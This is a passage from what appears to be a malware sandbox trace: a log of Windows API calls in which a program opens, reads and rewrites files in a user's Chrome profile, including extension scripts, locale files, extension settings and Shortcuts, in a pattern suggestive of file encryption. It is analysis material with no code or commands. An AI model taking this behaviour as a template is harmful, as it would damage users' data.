lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x945 [0055.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.405] ReleaseMutex (hMutex=0x128) returned 1 [0055.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="view.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0055.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="view.js", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="view.js", lpUsedDefaultChar=0x0) returned 7 [0055.405] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0x945, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x304f2bc*=0x945, lpOverlapped=0x0) returned 1 [0055.411] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0055.412] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0xecd, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f2d0*=0xecd, lpOverlapped=0x0) returned 1 [0055.412] CloseHandle (hObject=0x1bc) returned 1 [0055.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0055.412] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.412] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x941 [0055.413] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0055.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.413] ReleaseMutex (hMutex=0x128) returned 1 [0055.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mirroring_webrtc.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0055.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mirroring_webrtc.js", cchWideChar=19, lpMultiByteStr=0x1e786cc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mirroring_webrtc.js", lpUsedDefaultChar=0x0) returned 19 [0055.413] ReadFile (in: hFile=0x1bc, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x941, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x304f2bc*=0x941, lpOverlapped=0x0) returned 1 [0057.144] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.144] WriteFile (in: hFile=0x1bc, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xec9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f2d0*=0xec9, lpOverlapped=0x0) returned 1 [0057.397] CloseHandle (hObject=0x1bc) returned 1 [0057.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3d7a [0057.405] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.405] ReleaseMutex (hMutex=0x128) returned 1 [0057.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.422] ReadFile (in: hFile=0x1bc, lpBuffer=0x1def548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1def548*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.430] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2d7a [0057.430] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.431] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2d7a [0057.431] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.432] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.432] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.433] CloseHandle (hObject=0x1bc) returned 1 [0057.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.435] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.435] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x40d4 [0057.435] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.435] ReleaseMutex (hMutex=0x128) returned 1 [0057.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.435] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.439] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x30d4 [0057.439] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.439] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x30d4 [0057.440] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.440] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.440] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.440] CloseHandle (hObject=0x1bc) returned 1 [0057.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.441] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.441] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5224 [0057.441] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.441] ReleaseMutex (hMutex=0x128) returned 1 [0057.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.441] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.462] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4224 [0057.462] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.462] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x4224 [0057.463] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.463] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.463] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.463] CloseHandle (hObject=0x1bc) returned 1 [0057.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.464] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.464] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x40fd [0057.464] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.464] ReleaseMutex (hMutex=0x128) returned 1 [0057.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.464] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.487] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x30fd [0057.487] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.487] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x30fd [0057.487] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.487] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.487] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.488] CloseHandle (hObject=0x1bc) returned 1 [0057.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.489] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.489] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x426b [0057.489] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.489] ReleaseMutex (hMutex=0x128) returned 1 [0057.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.489] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.491] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x326b [0057.491] ReadFile (in: hFile=0x1bc, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.491] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x326b [0057.491] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.491] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.491] WriteFile (in: hFile=0x1bc, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.491] CloseHandle (hObject=0x1bc) returned 1 [0057.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.493] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.493] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x29 [0057.493] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.493] ReleaseMutex (hMutex=0x128) returned 1 [0057.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0057.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MANIFEST-000001", cchWideChar=15, lpMultiByteStr=0x1e631ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MANIFEST-000001", lpUsedDefaultChar=0x0) returned 15 [0057.493] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eb2080, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2080*, lpNumberOfBytesRead=0x304f2bc*=0x29, lpOverlapped=0x0) returned 1 [0057.494] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.494] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5b1, lpOverlapped=0x0) returned 1 [0057.494] CloseHandle (hObject=0x1bc) returned 1 [0057.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0057.495] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.495] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3000 [0057.495] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.495] ReleaseMutex (hMutex=0x128) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shortcuts", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0057.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shortcuts", cchWideChar=9, lpMultiByteStr=0x1e6334c, 